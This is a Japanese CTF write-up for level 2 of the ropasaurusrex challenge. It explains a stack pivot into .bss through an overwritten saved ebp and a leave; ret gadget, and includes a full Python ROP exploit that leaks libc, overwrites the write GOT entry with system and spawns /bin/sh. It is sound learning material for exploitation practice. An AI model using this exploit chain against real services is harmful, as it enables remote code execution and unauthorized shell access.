ropasaurusrexのwriteup [level 2]

今回は前回に引き続いてropasaurusrexのlevel2の記事を書きます。
前回の変更点はbufの大きさが256->160に変更になったことです。
これはgdb-pedaでも確認できます。
readの手前でmov DWORD PTR [esp],0x0 , mov DWORD PTR [esp+0x4],eax, mov DWORD PTR [esp+0x8],0xa0とあります。
read関数の書式はint read(int handle, void *buf, unsigned n);となっており、3引数目がデータの大きさを表している。よって[esp+0x8]が0xa0、つまり160byteが書き込める大きさです。

Level1と同様にreturnまでの距離は140byteなので今回は20byteしかないので関数1つしか呼べません。
この場合どうするかというと、書き込み可能、実行可能なセクションに処理を移すということが有効です。
関数はleave retでebp(ベースポインタ)を参照して元に返ります。その性質を利用してold ebpのアドレスを別のアドレスに書き換えてそこに飛ぶようにするのです。

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):                                                                                                                                                                 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                                                                                                                         
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]

# --- main ---
s, f = sock("localhost", 4088)    # 接続

plt_write = 0x0804830c
plt_read = 0x0804832c
got_write = 0x8049614
offset_write = 0x000e5650
offset_system = 0x0003cc70
pop3ret = 0x80484b6
bss_address = 0x08049628+0x500
data_address = 0x08049620
leave = 0x080482ea

buf = "A"*136   #returnアドレスまでの埋め草
buf += p(bss_address-4)
buf += p(plt_read)
buf += p(leave)  
buf += p(0)
buf += p(bss_address)
buf += p(72)

buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4)     #writeアドレスのリーク(1)
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(data_address) + p(8)             #dataに入力されたものを書き込む(2)
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4)       #got_writeに入力されたものを書き込む(3)
buf2 += p(plt_write) + p(0xdeadbeef) + p(data_address)                    #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4)
f.write(buf)
f.write(buf2)

libc_system_address = u(f.read(4)) - offset_write + offset_system   #リークされたwriteアドレスからoffset_writeを引いて
                                                                    #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) 
f.write("/bin/sh\0")        #dataに"/bin/sh\0"を書き込む(2)
f.write(p(libc_system_address))     #got_writeにsystem関数のアドレスを書き込む(3) 

shell(s)

return の4byte前のold ebpbssアドレスの4byte引いた値にセットしています。4byte引いたのは関数の最後の処理の際、popされる時にold ebp が4byte加算されるからです。
note.mu
こちらのサイトにebpとespの詳しい説明あります。

read関数から返ってきたらbssに飛ばしたいので直後にleave retしなくてはいけません。ropgadgetのpop3retのようにleave retを探すには

rp-lin-x86 -f ./実行ファイル  -r 4

で探せます。

0x080482ea: leave  ; ret  ;  (1 found)

実行すると見つかると思います。

また、bssアドレスに0x500加算している理由ですが、これは関数を追加していくにしたがってスタックフレームが上に伸びる性質があるからです。上というのは低いアドレス二伸びるということです。
bssに処理を移ってからreadとwriteを何回か呼んでいますが、この部分でスタックはどんどん上に積まれます。
もしアドレスに加算しないとbssからはみ出て別のセクション領域に入ってしまい、そこが書き込み不可能もしくは実行不可能領域であった場合にSIGSEGVを起こしてしまうためです。

あとはLevel1で説明したことと変わらないので省略します。